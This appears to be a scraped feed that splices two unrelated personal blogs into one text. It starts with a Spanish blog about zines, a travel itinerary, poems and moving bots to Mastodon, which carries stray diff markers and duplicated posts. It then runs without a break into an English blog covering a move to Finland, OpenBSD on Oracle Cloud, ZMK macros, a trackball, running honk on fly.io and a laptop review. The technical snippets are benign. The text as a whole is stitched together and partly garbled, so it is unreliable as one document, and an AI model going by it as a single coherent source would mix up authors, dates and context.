copiona.com | un bunker biteario de @librenauta

Migrar bots a mastodon

2023-02-06T00:00:00-03:00

Migrar bots de tw a mastodon

+Jekyll2023-04-10T08:56:41-03:00/feed.xmlcopiona.com | un bunker biteario de @librenautaRisografía - internet es una poesía sin terminar2023-04-08T00:00:00-03:002023-01-23T20:20:21-03:00/internet-es-una-poes%C3%ADa-sin-terminarViajé a barcelona y unos días antes pude contactarme con dotheprint un pequeño estudio de impresión de risografía para hacer algunas copias locales. La verdad no sabía muy bien como sería el resultado de la impresión asi que me vi unos tutoriales de como generar cada capa en youtube color por color y mande a imprimir un fanzine que diseñe en viaje llamado: internet es una poesía sin terminar

+
Un poco engloba cuál es la internet que quiero y por qué :F
+

acá se puede puede bajar el pdf para leerlo online

acá se pueden bajar un .zip con los archivos separados por color para imprimir en risografía.

Acá una muestra de las capas, el diseño esta hecho en inkscape en 2 colores + opacidades y luego procesado en gimp separando cada color en una máscara y exportandolo :D

Es importante saber que la máquina de risografía sólo lee valores en escala de grises. por eso las placas siguientes están en negro, el color lo aplica cuando imprime cada tambor. ∩｀-´)⊃━( . °°. )

Log 020

2023-04-08T00:00:00-03:00

mirar el movimiento, se escapa de nuestros músculos

EU-librenauta

2023-03-15T00:00:00-03:00

Roadtrip

+
tiempo: [16.03.2023] al [30.04.2023]
+

+
15.03.2023 Buenos Aires > Madrid ~ aeropuerto
+
+
16.03.2023 Madrid > Valencia en tren renfe. El primer lugar que voy a visitar es Carcaixent.
+
+
22.03.2023 Valencia > Barcelona en tren renfe. me cruzo con sofie & milton en su casa. y después un piso en el centro de bcn
+
+
03.04.2023 Barcelona > Berlin en avión ~ tren a Berlin Friedrichstraße station para llegar caminando al hostel
+
+
10.04.2023 Berlin > Rotterdam ~ tren hasta la rotterdam central station
+
+
16.04.2023 Rotterdam > Bruselas ~ tren de rotterdam central station a Brusells-Mid
+
+
16.04.2023 Bruselas > Londres ~ salgo para londres en el Eurostar, llego a St Pancras International y luego hostel
+
+
22.04.2023 Londres > Valencia ~ avión
+
+
29.04.2023 Valencia > Madrid ~ tren para la estación
+
+
29.04.2023 Madrid > Argentina
+

+
EZE>MAD>VLC>BCN>BER>BRU>STN>VLC>MAD>EZE
+

Quemar un libro 8 [ Un jardín by Cian ]

2023-03-14T00:00:00-03:00

Un Jardín by @soycian

Es un pequeño pero muy meticuloso fanzine: permite jugar, mirar a través de las ventanitas y conocer a cian desde el ángulo perfecto: la sensibilidad.

aquí el scann para descarga <3 para mirar de cerquita, imprimir, copiar y compartir.

Migrar bots a mastodon

2023-02-06T00:00:00-03:00

Migrar bots de tw a mastodon

El 7.02.2023 la API¹ de tw se cierrá, musk (el dueño de tw) cerrará el acceso de forma gratuita, esto constituye la muerte muchísimos bots que mejoraban mi experiencia en esa plataforma. definitivamente era una de las pocas cosas que me acercaban a tw. todos los bots creados con cheapbotsdonequick.com/ morirán a partir de mañana. tanto como los crossposters como crossposter.masto.donte.com.br/ y las paginas para encontrar gente cerca en tw.

Por suerte para cada decision individual de una empresa hay una propuesta colectiva

@@ -31,37 +82,4 @@

Restos

2023-01-23T00:00:00-03:00

Sintetizar el suelo con una paleta de colores de restos.

veo veo

2023-01-18T00:00:00-03:00

el amor :D

El amor puede ser de a varies

Descripción gráfica de cuando me gusta una chica -

Descripción gráfica de cuando me gustan dos chicas -

Descripción gráfica de cuando -

Descripción gráfica de cuando te gusta una chica pero no te da bola

el amor se derrama, me encantó esto en plan: se mueve, cambia, transforma y es imparable

el amor es:

risa cómplice
regalar un fanzine
esperar un tren
actuar con normalidad
saber que un regalo salió bien
dejar de sostener la mirada
leer poesía no academica
enviar coordenadas precisas
contar los dedos de tu mano
creer que estás enamoradx.

Un acto

2023-01-18T00:00:00-03:00

La inteligencia no es sólo ser útil para el capitalismo

Quemar un libro 6 [ Trizas Trazos Trazas ]

2023-01-16T00:00:00-03:00

Trizas Trazos Trazas by Victoria Burgos, Gaby Peral, Bárbara Stark and Ángeles Torino

Cuando estuve en la mani en córdoba previamente charlamos con victoria y nos encontramos para hacer un trueque hermoso. Se llevó algunas cosas y me dejó esta joyita en risografía licenciada en CC 4.0 internacional. Lamentablemente no se pueden hacer obras derivadas de este material por la licencia pero si se puede compartir.

aquí el scann para descarga <3 para mirar de cerquita y copiar

BRC - Frey

2023-01-11T00:00:00-03:00

log de imágenes de una travesía en brc camino al Frey

Log 018

2023-01-08T00:00:00-03:00

trabajar con esta shell. <3

Restos

2023-01-23T00:00:00-03:00

Sintetizar el suelo con una paleta de colores de restos.

Un acto

2023-01-18T00:00:00-03:00

La inteligencia no es sólo ser útil para el capitalismo

I am moving to Finland

2023-01-18T00:00:00Z

This is what I was packing for

The past two weeks or so have felt like a fever dream. It’s been a blurry daze ever since I received my passport from the Finnish Embassy in New Delhi. I still can’t believe everything has finally materialized and this move is actually happening. In about 10 hours from now, I will be boarding my flight from Bangalore, transiting via Doha, to Helsinki.

So, how did this come about? I got employed there—I’m joining UpCloud as an SRE in their Orchestration team, and will be working out of Helsinki. They helped with the immigration process and will also be helping out with certain initial local affairs and apartment hunting.

The biggest, most obvious change for me will be the weather. Going from around 25°C to near-zero temps will need some acclimatization. I bought the thickest, heaviest, water & snow-proof parka that Decathlon had to offer, along with some monstrous snow boots—I hope it’ll suffice for the first few days.

I’m very much looking forward to life there—low pollution, clean water, fresh produce (berries!), excellent public transport. Oh and of course, the slightly less population density. Fun fact: the total population of the entirety of Finland (5.6 million) is less than half of Bangalore’s (13 something million).

Suffice to say, I’m beyond stoked for this new beginning both in Helsinki and at UpCloud. I’ll post an update once I’ve settled down. In the meanwhile, my fedi will have more frequent updates.

Moikka!

2022 in review

2023-01-14T00:00:00Z

Late again because I was busy packing

Quite possibly the “fastest” year I’ve experienced—it feels like yesterday when 2022 began. I think I did a lot last year, contrary to previous years where I felt I’d just squandered my time away. Which is partly great because more content! But also not great, because I have to write it. It’s not that I don’t enjoy writing anymore (despite what the number of posts in 2022 might lead you to believe), I just find it harder to sit and do the thing—perhaps something to think about and investigate in 2023. But I digress—as I said, I did get a lot done last year, so let’s get right into it.

projects & hacks

I’m only talking about software projects here, since this time around, we’ve got some hardware hacks (ooh!).

First on the list is legit, a web frontend for git. A very important characteristic of legit that needs mention is the fact that it’s written in Go—it’s even the name of the first major release (v0.2.0).¹ On a more serious note, it’s probably the nicest thing I’ve built from scratch and it’s very cool to see legit instances in the wild. I consider it mostly feature complete, barring a couple of outstanding PRs that I have yet to get to.

Next up is honk. Not really my own project, but something I spent a non-negligible amount of time hacking on. The honk lives in my head, rent-free. A few changes in my honk fork are:

user profile pictures
color scheme and UI
pretty @ URLs (like https://h.icyphox.sh/@icy)
bunch of other miscellaneous thingamajigs

Lastly, I installed OpenBSD on my Oracle VM and now everything runs off it, this site included.

Probably not a “project”, but I’ll include it here anyway: I switched my entire dotfiles setup to Nix and home-manager and rest of that shit I used to filter on Lobste.rs. While I like the declarativeness, I won’t pretend I understand the half of it. Believe me, I’ve tried. But it mostly just works the way I have it, so I’ll leave it at that.

keyboards: my (first) new expensive hobby

Normal 60% keyboards are out—ergonomic split ortho keyboards are in. I built three keyboards this year: the Lotus58, and two semi-custom 34-key wireless splits: the Ferricy, and the Ferricy Choc.

There’s a lot to write about keyboards and how I use mine, but I’ll likely write a separate post covering that since it’s fairly interesting and pretty long-winded. Until then, you can read Nerdy’s article on the subject.

my time at Ory

Sometimes things don’t work out and it’s best to cut your losses and bounce. I came away with only positives and I greatly enjoyed my time at Ory. I got to work on some rather exciting stuff like:

distributed tracing using OTel and Tempo
centralized multi-cluster logging using Loki and Promtail
tackling interesting engineering problems like caching sessions at edge
a whole bunch more…

No ragrets.

travel

A decent amount of travel last year: a week in Goa, three days in Jaipur, two days in Chikmagalur and one day in New Delhi. Here’s one picture from each trip, in order.

fitness

My fitness journey has seen considerable improvement. I streamlined my routine for the most part, and I’ve stuck to it. My usual week now consists of 3–4 upper body workouts, about 2 core workouts and 2 runs, about 5 or 6km.

My ability to run has also greatly increased. I used to struggle to hit 5ks back in 2021—I can now comfortably run 8k and still feel pretty good after. Granted, I’m not running for time—my fastest 5k (the only time I timed it) is a rather generous 26 minutes.

One major change I made in the latter half of last year was switching to calisthenics for all my strength training. My ultimate goal is to be able to do a full planche and front lever unassisted. I can currently hold a tucked front lever for about 10 seconds—but hey, progress is progress.

2022 was the year I got decently shredded. Still not quite Chris Heria, but we’re getting there. I’d put myself somewhere around 15% body fat, on a good day. I didn’t strictly regulate my diet, but I was somewhat conscious about what I was eating. A rough daily calorie estimate is constantly in the back of my head. For ‘23, I’d like to be a little more meticulous and properly count my calorie intake.

reading

Reading was definitely on the forefront of 2022. I made a conscious effort to spend a set amount of time each day reading—until about late November when I simply stopped. I can’t remember why I did, but for me, it’s really easy to “lose” a habit—week or two of not reading, and I’ll find myself moving on to other things. Another thing to think about for 2023.

In 2022, I read 15 books (dropped one). I’m discounting Assassin’s Apprentice since I have yet to get around to finishing it. Looking back, I can’t pick any single standout read of last year, except maybe Patrick Rothfuss’ Kingkiller Chronicle, which I still think about.

I remember mentioning The Wheel of Time series in my 2021 retrospective. I managed to read the first two, but couldn’t get into the third. Jordan’s writing doesn’t make for the easiest of reading, and—I speak for myself when I say this—spacing it out is probably best. Except I never got back.

This year, I’m hoping to read:

more of Dune
The Doors of Stone please dear God
some more Wheel of Time, I think I’ve taken a long enough break
The Lost Metal, despite not enjoying Era 2 as much

this site

Reject modernity, embrace tradition—only the one tradition where we talk about this site and count the number of blog posts I wrote!

grep 'date: 2022' pages/blog/*.md | wc -l
8

Lowest yet, and the trend year-over-year doesn’t look promising. I don’t think I’ll ever completely stop writing, but I certainly won’t be writing as much as I used to. I’ve largely stopped writing “commentary” since it’s pretty pointless and inherently tied to the news cycle—it loses readability value even just a month later.

miscellaneous

The catch-all. The flytrap. The part where everything else too small to deserve its own subsection get fleeting mentions. Let’s run through them real quick since I’m losing patience and the date on this blog post has been changed four times already.

The bullet journal: I wrote about this in ‘21. While the method largely remains the same, the size of my notebook has decreased to A6, drawing inspiration from one of my favourite articles on note taking. The smaller size allows me to carry it around pretty easily, and the thinness lets me clip my ball-pen at the current page.

Watches: My (second) new expensive hobby. I went down the rabbithole of HMT² watches and instantly fell in love. I’ll admit HMT watches aren’t that expensive, but I’ve been looking at some Seikos and Hamiltons that I’d like to buy this year.

Podcasts: Made some great podcast discoveries last year:

Our Fake History: deep dives into historical hoaxes
How to Get on a Watchlist: experts discuss dangerous activities
Off Menu: Ed Gamble and James Acaster run an imaginary restaurant
The Russian Empire History Podcast: what it says on the tin

in 2023…

There’s a lot that happened last year, and there’s a whole lot more that’s going to happen this year—and very soon. I’ve been hinting at it for a while on the fedi. I’ve been packing a whole lot for it, and it’s a mere 4 days away as I write this. It’s a massive life update that I’m beyond stoked about—I’ll write about it here in few days.

Until then, thanks for sticking around and I’ll see you in a jiff.

Some folks on the red site really didn’t like it. :^)
↩︎
Also see r/hmtwatches ↩︎

Installing OpenBSD on Oracle Cloud

2022-11-24T00:00:00Z

It finally works in 7.2!

I’ve been trying to get OpenBSD to install on OCI since early last year. As described in my email to misc@, my intial method of installation was rather unconventional:

Download the install image to tmpfs
dd it onto the host boot device (/dev/sda)
Reboot

This works perfectly for Alpine, I’ll have you know but not so much for OpenBSD. I don’t know why. Anyway, with that rather useless preface aside, OpenBSD now supports booting on amd64 OCI instances:

Allowed bsd.rd and bsd/bsd.mp to boot on Oracle Cloud amd64 instances.

This time around, I decided to try a somewhat less nuclear approach to booting it. The steps I followed were from a kind internet stranger’s article, coincedentally ranting about how they failed to boot OpenBSD on OCI.¹

It’s fairly straight forward, and you’ll be fine simply following the steps in the article I linked above; but since you’re here, let’s run through them real quick:

Download the install72.img onto an OpenBSD machine. Trust me, dealing with loopback mounts is not fun on Linux.

“Mount” the install image using vnconfig(8):

vnconfig vnd0 install72.img
mount /dev/vnd0a /mnt

Configure booting over serial:

echo 'set tty com0' > /mnt/etc/boot.conf

Convert the modified install72.img to qcow2 using qemu-img. We will be uploading this to OCI as a custom image.
```
qemu-img convert -O qcow2 install72.img install.qcow2
```
Uploading the image requires creating an object storage bucket first. Navigate to Storage → Buckets and create one. Call it whatever.
Upload the qcow2 from step 4.
Head to Compute → Custom Images and click Import Image. Choose your bucket and qcow2 and select image type as QCOW2. We’ll stick to Paravirtualized mode. Give it a bit.
Once it’s done importing, create a new amd64 instance like you normally would, and choose your newly created custom image. Don’t bother with SSH keys.
Launch a console connection to access the serial boot. You should hopefully see the OpenBSD installer. You might have to hit Enter once. Hit ‘I’ and start the install.
There should only be one disk available. Choose that. Everything else should just work like in any other OpenBSD install.

That’s about it. I for one am super excited to move all my instances to OpenBSD. As always, donate to the OpenBSD project to ensure the continued development of our beloved puffy.

I pinged them on the fedi to let them know it works now: https://h.icyphox.sh/u/icy/h/3NGd59X2d6Kr958Nt2 ↩︎

Unicode text input in ZMK

2022-10-18T00:00:00Z

A hacky interim solution using macros

As a highly cultured em-dash (over-)user, being able to type ‘—’ easily is very important to me. While waiting for zmkfirmware/zmk#232 to get merged, I’ve discovered a rather nifty workaround for inputting Unicode text. This method makes use of IBus and a ZMK macro.

Unicode input in IBus is done by typing Ctrl + Shift + U followed by the Unicode codepoint and then a Space or Return. Writing this as a ZMK macro, we get something like:

macros {
    uc_dash: uc_dash {
        label = "UNICODE_DASH";
        compatible = "zmk,behavior-macro";
        #binding-cells = <0>;
        tap-ms = <0>;
        wait-ms = <0>;
        bindings
            = <&macro_press &kp LCTRL &kp LSHFT>
            , <&macro_tap &kp U>
            , <&macro_release &kp LCTRL &kp LSHFT>
            , <&macro_tap &kp N2 &kp N0 &kp N1 &kp N4 &kp SPC>
            ;
    }; 
};

Where the numbers 2014 denote the codepoint for an em-dash. Set the wait-ms and the tap-ms to 0 to make it instantaneous—your keyboard will essentially type out the entire key combo really fast. The resulting keycode uc_dash can be used in any bindings field. I have it on a separate Unicode layer.

The unfortunate caveat is it only works where IBus works, and it doesn’t seem to work in Qt applications. Granted, I only really need it in my browser and Signal/Slack Desktop (Electron) so that isn’t a dealbreaker.

My ZMK config is here.

The Logitech Ergo M575 trackball

2022-07-01T00:00:00Z

A short review of my first ever trackball

Ever since switching to a split keyboard, using a mouse has been rather awkward. Do I put it in between the two halves? Not enough space. Do I put it to the right? Again, not enough space since that’s where my notebook sits. And then there was the pain. I had to take routine breaks from using the mouse due to pain on the bottom-left side of my palm.

Enter, the trackball. Trackballs are pointing devices much like the slightly more popular rodent. They’re super old—dating right back to the post-World War II era.¹ Largely speaking, there are two kinds of trackballs: thumbballs and fingerballs. A thumbball, like the name suggests, is operated using the thumb. A fingerball (also called as ambidextrous trackballs) has the ball in the center, with buttons on either side. They behave quite like a laptop’s touchpad.

Trackballs take up very little space (check!), and are known to help with RSI (also check!). So I got one.

I got the Logitech Ergo M575. This is the cheapest Bluetooth trackball available in India. I bought it for around INR 3500 (≈45 USD). It sits comfortably and stably in between the two halves of my keyboard; it is so much easier on my hand—it has greatly alleviated my pain. Pictured below is my actual desk right now².

The M575 is larger than your typical mouse but that’s fine since it doesn’t move. Its curved shape is very satisfying to hold—it fills your entire palm. The build quality is pretty solid. It’s all plastic, but that’s a good thing. Rubberized finishes are harder to clean and start getting gooey and icky after a while.

There are a total of 5 buttons: the left and right, scroll wheel and the forward/backward buttons, which sit to the top left. I’m not sure I like their positioning however—I prefer them by the thumb. I suppose the ball takes up that space. Speaking of the ball: it’s a sparkly plastic-ish (not sure really) material and it’s pretty light. It can (and needs to be) popped off now and then for cleaning. The ball sits on three ceramic bearings which are very smooth.

It ships with a single AA battery with an advertised runtime of 24 months. Connectivity is either via Bluetooth or a USB-A dongle found in the battery compartment.

As for software, Solaar is a GUI (and a CLI) for various Logitech devices, the M575 included. I couldn’t get much use out of it aside from tweaking DPI settings.

A neat trick, and decidedly more useful, is enabling scrolling using the trackball. On NixOS³, this simply requires adding the following to services.xserver:

libinput = {
  enable = true;
  mouse = {
    scrollButton = 2;
    scrollMethod = "button";
  };
};

With this, I can simply hold down the left and right buttons (equivalent to pressing the scroll wheel), and scroll with the trackball. Want to scroll all the way to the bottom? Just flick! It’s glorious.

I’m a baller now.

https://en.wikipedia.org/wiki/Trackball#History ↩︎
That is indeed another split keyboard in the works. ↩︎
Refer to this Arch Wiki entry for how it’s done on other Linuxes.
↩︎

Honkin' on the Fly

2022-05-25T00:00:00Z

Running honk on fly.io

Update 2022–08–11: As with literally every update of mine, I’m no longer running honk on Fly. It’s way easier to simply run it on a server myself, behind nginx. Huh—who knew?

For those unaware—first of all, how? it’s literally everywhere—fly.io is the new platform-as-a-service du jour. The idea is to give them a Dockerfile (or a pre-built image, or just generic applications in a bunch of languages), and they run it for you on servers across the globe. Firecracker microVMs, WireGuard, and some other neat tech. Understandably, this gets the average Hacker News-type (me), excited. And I’d been meaning to switch my fediverse instance over to honk—a stateful Go application using sqlite¹. And the fly.io folks really like sqlite. The stars have aligned.

I trust that you can figure out the initial setup bits like logging in to the dashboard and giving them your credit card info and praying that they don’t run you a bill of $5000 because you somehow blew through their free allowance resources. As I understand it, Fly “auto-scales”, so this scenario isn’t unlikely—however, they do offer some leniency. Luckily, the chances of me turning into a fedi-influencer (fedifluencer?) overnight are rather slim.

setup

They want a Dockerfile, so let’s give them one.

FROM golang:1.18-alpine AS builder
RUN apk add sqlite-dev build-base mercurial

WORKDIR /tmp/src
RUN hg clone https://humungus.tedunangst.com/r/honk 
RUN cd honk && make

FROM alpine:latest
RUN apk add sqlite sqlite-dev

COPY local /tmp/local
COPY memes /tmp/memes
COPY emus /tmp/emus

WORKDIR /opt
COPY --from=builder /tmp/src/honk/honk /bin/
COPY --from=builder /tmp/src/honk/views views/
COPY start /bin

ENV HONK_DATA_DIR "/opt/data"
ENV HONK_VIEWS_DIR "/opt/"

CMD ["/bin/start"]

Not too much going on here—we pull latest tip, build honk, copy the local directory containing our local.css (custom styles); the memes directory containing, well, memes (PNGs and GIFs); and the emus directory containing emoji (used as :filename:). These will then be copied into the Fly volume later on by the start script. Kinda gross, but whatever.

And the start script:

#!/bin/sh

run() {
    cp -R /tmp/memes/* "$HONK_DATA_DIR"/memes/
    cp -R /tmp/memes/* "$HONK_DATA_DIR"/emus/
    cp -R /tmp/local/* "$HONK_DATA_DIR"/views/

    honk -datadir "$HONK_DATA_DIR" -viewdir "$HONK_VIEWS_DIR"
}

# first time setup
if [ ! -f "$HONK_DATA_DIR/honk.db" ]; then
    honk init <<-EOF
    $HONK_USERNAME
    $HONK_PASSWORD
    $HONK_ADDRESS
    $HONK_SERVER_NAME
    EOF
fi

run

This simply copies our stuff from the container into the volume, and launches honk. If the honk database doesn’t yet exist, we run honk init and set it up. These environment variables are configured in the fly.toml file:

app = "honk"

kill_signal = "SIGINT"
kill_timeout = 5
processes = []

[mounts]
  source = "honkstore"
  destination = "/opt/data"

[env]
  HONK_USERNAME = "icy"
  HONK_ADDRESS = "0.0.0.0:8080"
  HONK_SERVER_NAME = "h.icyphox.sh"

[experimental]
  allowed_public_ports = []
  auto_rollback = true

[[services]]
  http_checks = []
  internal_port = 8080
  processes = ["app"]
  protocol = "tcp"
  script_checks = []

  [services.concurrency]
    hard_limit = 50
    soft_limit = 20
    type = "connections"

  [[services.ports]]
    force_https = true
    handlers = ["http"]
    port = 80

  [[services.ports]]
    handlers = ["tls", "http"]
    port = 443

  [[services.tcp_checks]]
    grace_period = "1s"
    interval = "15s"
    restart_limit = 0
    timeout = "2s"

The fly.toml gets generated when you first run fly launch. The only bits I’ve added are the env and mounts sections. Notice that HONK_PASSWORD is missing, and for good reason—Fly has support for secrets, which can be created quite handily using:

$ flyctl secrets set HONK_PASSWORD="$(pw -s honk)"

deploy

The only thing left to do is to provision our volume for persistence, and we’re off to the races:

$ flyctl volumes create honkstore --region maa
        ID: vol_1g67340omkm4ydxw
      Name: honkstore
       App: honk
    Region: maa
      Zone: aed0
   Size GB: 10
 Encrypted: true
Created at: 21 May 22 16:07 UTC

$ flyctl deploy

post-deploy

I like having pretty usernames. In this case, I want to drop the h. subdomain and have it look like this: icy@icyphox.sh. To do this, we simply set the masqname key in the database to our desired hostname²:

$ honk setconfig 'masqname' 'icyphox.sh'

And at icyphox.sh, we setup a redirect to h.icyphox.sh at the /.well-known/webfinger path. I did this via Netlify; you can do it however, as long as the query parameters are preserved. Read more about webfingers and other thingamabobs here.

I did a bunch more like custom CSS, avatars etc. but I’ll leave that as homework for you (honk(8) is mandatory reading!).

thoughts

On Fly: I think it’s neat. Rough edges? Sure. My deploy was stuck in pending; I had to delete it and re-create it for it to start working again. I lost my data in the process because volumes are attached to apps. Perhaps I should’ve waited and the problem would’ve fixed itself. Who knows?

And that’s the eternal problem with PaaS—there’s a layer of abstraction that you can’t ever pierce. You can’t truly know what the problem was unless they publish a post-mortem (or don’t). Anyway, in this case I’ll just chalk it up to teething issues.

Is it easier than simply building it on a server and running nohup ./honk & and calling it a day³? Not really. It’s more fun, I guess.

On honk: It’s refreshing. I liked running Pleroma + Soapbox (I still do, haven’t killed it yet), but it always felt alien to me. I didn’t understand the code, didn’t enjoy having to upgrade Elixir/Erlang OTP whatever, mix.deps get blah blah; a single Go binary + sqlite + HTML templates speaks to me.

Go follow me at icy@icyphox.sh. It’s why I even wrote this post. Not that I can see it, honk doesn’t have those ego-numbers.

You can find all the source code to deploy honk yourself here: https://git.icyphox.sh/honk

Written by tedu. He’s a cool guy who runs and hacks OpenBSD. The honk source is a fun read.
↩︎
Had to setup a custom domain for this: https://fly.io/docs/app-guides/custom-domains-with-fly/ ↩︎
Yes that’s actually how I run a bunch of my services, including forlater.email!
↩︎

The Asus ROG Flow X13

2022-05-02T00:00:00Z

My hunt for a new laptop has finally concluded

I’ve been on the lookout for a new laptop for a while now. While the HP Envy was good—is good—the measly 8 gigs of RAM was struggling to hold in all the beefy stuff that I run these days (skaffold, k3s, etc.). And it being a “budget” laptop of its time didn’t do its chassis any favors—the bottom was very scratched because the rubber bumpons came off; the keyboard deck had some rather mysterious scuff marks. Anyway, off I went looking for a replacement.

My requirements for a laptop are somewhat specific. From the title it’s obvious that I’d like to have good Linux support; here’s a list of other things that I expect to see:

HiDPI: Any resolution above 1080p (or 1200p). I look at text all day, and I’d like it to be crispy.
13” - 14”: I don’t like overly large or heavy laptops. I think 13.3 inches is the perfect screen size; 14 is a compromise.
A decent CPU: I don’t really do anything very compute intensive, but an i7 or a Ryzen 7 should be ideal.
32 GB RAM: Having struggled with 8 gigs for so long made this a hard requirement. Never again will I have to pkill gopls.

I can’t say I had a specific budget in mind, but anything more than 140k INR (1.4L, ≈1800 USD) is somewhat hard to justify. Listed below were the contenders for the prestegious position of being my laptop of choice:

Tuxedo InfinityBook Pro 14: While this ticks all the boxes, the cost including shipping (as of this writing) is about 1700 EUR. And that’s without opening the massive, stinky can of worms called Indian Customs. Expecting a very lenient 40% duty, it’s safe to say it’s batshit expensive.
ThinkPad X13: Lenovo’s site allows you to customize orders for certain models, and these will be custom built and shipped from China. The nice thing is Lenovo takes care of the customs and shipping and other logistics. The not-nice thing is it takes a minimum of 12 weeks—at least for the X13. That’s 4 whole months. I think I’ll pass.

With that preface out of the way, the machine I finally settled on was (as the title reads) the Asus ROG Flow X13. My model set me back by about 130,000 INR (1.3L, ≈1700 USD). The trick was to look in the “gaming laptops” section, because this model didn’t show up anywhere in the thin-and-light/productivity/ultrabook searches. And it doesn’t look gamery at all. Here’s what my Dad had to say, as a serial ThinkPad user:

“It looks like a ThinkPad.”

hardware

I opted to buy the 2021 model because, really, the only difference in the 2022 model is the marginally better CPU and a MUX switch. I don’t care much for either. The octa-core Ryzen 9 5900HS has more compute power than I could ever need.

The chassis is made of a “magnesium alloy”, with a grooved finish that feels very nice to touch. There’s very minimal branding—one somewhat “iridescent” label with the Republic of Gamers logotype on one corner of the lid, and the ROG logo on the right palm-rest, made out of the same groove design.

The hinges are sturdy and allow for 360° rotation. The lid can be opened with a single finger, which is much appreciated. The screen itself is a gorgeous 4K (3840×2400) touch screen panel. While the need need for 4K on a 13” screen is questionable, I welcome it wholeheartedly. It is the best screen I’ve used; the colors are punchy, text is (naturally) very crisp. It’s glossy, and attracts a ton of fingerprints. A stylus is included in the box—or at least it was for me—but I haven’t found much use for it after the initial excitement.

The keyboard is pretty good. Given the choice, I wouldn’t have picked the font on the caps, but I suppose it could be worse. Three backlight modes for low, medium and high brightness exist. These can be controlled via the sysfs device at /sys/class/leds/asus::kbd_backlight/. The dedicated volume buttons are nice and work out of the box; the mic-mute toggle key however needs special treatment to get detected by X11—adding the below udev rule did the trick:

udev.extraHwdb = ''
  evdev:input:b0003v0B05p19B6*
    KEYBOARD_KEY_ff31007c=f20
'';

For ports, you get a USB-C and a USB-A on the right along with the power button; on the left: a 3.5mm headphone/microphone jack, a HDMI 2.0 port, and the proprietary XGm port for use with the XG Mobile external GPU. The eGPU port, while being generally useless to me, also happens to contain a USB-C port, bringing the total to two. The ports selection could be better—a single USB-A is one too less, forcing me to have to use a dongle to connect both my keyboard and mouse.

The entire package weighs in at about 1.3 kilograms, which is just as much as my HP Envy. For how well it’s built, I’m not complaining.

Finally, here’s the full spec list:

Ryzen 9 5900HS, 8 cores & 16 threads
32 GB LPDDR4X RAM @ 4266MHz
Nvidia GeForce GTX 1650 Max-Q, 4 GB GDDR6
1 TB SSD

software

Installing NixOS was straightforward. Basically everything works out of the box. I’d have liked to run OpenBSD on it, but I unfortunately require Linux for work. NixOS, while I understand nothing of Nix (the language), works well enough. Being able to configure your entire system from one single place is quite nice. Overall, it’s a lot more cohesive than other Linux systems.

The Nvidia GPU is handled surprisingly well. Looks like Linux has improved a lot in this regard. “Offload mode” is especially neat—you can selectively “offload” certain tasks (like running Steam) to the GPU, and otherwise have it suspended. Here’s how I do it:

{ pkgs, ... }:

pkgs.writeShellScriptBin "nvidia-offload"
  ''
    export __NV_PRIME_RENDER_OFFLOAD=1
    export __NV_PRIME_RENDER_OFFLOAD_PROVIDER=NVIDIA-G0
    export __GLX_VENDOR_LIBRARY_NAME=nvidia
    export __VK_LAYER_NV_optimus=NVIDIA_only
    exec -a "$0" "$@"
  ''

Now simply run

$ nvidia-offload steam

to have Steam run on the GPU. Use the nvidia-smi tool to inspect processes currently using the GPU.

The laptop has an accelerometer to detect when it’s in tablet mode, and invert the display accordingly. Unfortunatly, I couldn’t figure out how to get it to work in X11/cwm. Instead, I wrote a handy script to rotate the display and the touch input:

{ pkgs, ... }:

let
  xrandr = "${pkgs.xorg.xrandr}/bin/xrandr";
  xinput = "${pkgs.xorg.xinput}/bin/xinput";
in
pkgs.writeShellScriptBin "invert"
  ''
    orientation="$(${xrandr} --query --verbose | grep eDP | cut -d ' ' -f 6)"
    if [[ "$orientation" == "normal" ]];
    then
      echo "turning screen upside down..."
      ${xrandr} -o inverted
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1
    else
      echo "reverting back to normal..."
      ${xrandr} -o normal
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
      ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1
    fi
  ''

Then, simply run invert to toggle your current orientation:

▲ invert
turning screen upside down...

▲ invert
reverting back to normal...

Battery life could be better, but with TLP/powertop + switching the CPU governor to powersave on battery, I get about 7 - 8 hours on light workloads, and about 5 on heavy. I’m going to guess the 4K panel is to blame.

Also worth mentioning is the Asus Linux project. They have some useful resources for running Linux on Asus laptops, and asusctl / supergfxctl—two great tools for managing power profiles, fan curves and the dGPU.

Overall, I couldn’t be happier with this machine. It wasn’t cheap, but it sure does check all the boxes and it’s incredibly future proof. As for my trusty old HP Envy 13, I haven’t decided yet what to do with it. It’ll most probably end up in my closet, enshrined under a layer of clothes.

You can find all the scripts mentioned in this post (and more!) here.

Cloud (F)OSS is a good model

2022-02-07T00:00:00Z

On building (mostly) open source startups

Of late, I’ve been thinking a lot about what makes a startup work, and I think open sourcing your product—or a good portion of it—is a great approach. To be clear, I’m only talking about SaaS platforms, and not any other kind of product. Hence, I’m dubbing this as “Cloud FOSS”.

The title of this post was initially “Cloud FOSS is the way”, but I quickly realised that I know next to nothing about actually building companies and I’m really just talking out of my rear end. Nevertheless it’s still pretty fun to try and reason about why the open source model is great for startups, so reason we shall.

Broadly speaking, there are two kinds of “Cloud FOSS” companies:

the open source and cloud versions are identical, entirely free software (à la sourcehut)
the cloud version has exclusive “premium” features that aren’t present in the open source version—a.k.a the open core model; it seems to be gaining a lot of popularity in recent times with the likes of Gitlab etc.

Let’s dissect each approach and see what drives them.

the all-FOSS absolutist model

As mentioned above, sourcehut is a great—if not the only—example of a company built this way. Unless of course, I’m gravely mistaken (wouldn’t be the first time!), and you know of another, or are building one yourself—please email me; I’ll be happy to mention it here.

Update: I was indeed mistaken. Here are a few companies built similarly:

jmp.chat—free-as-in-freedom US/Canadian phone numbers
Frappe—Indian company building a suite of free software products
Plausible Analytics—free software analytics platform. The self-hosted version has a less frequent (LTS) release schedule.

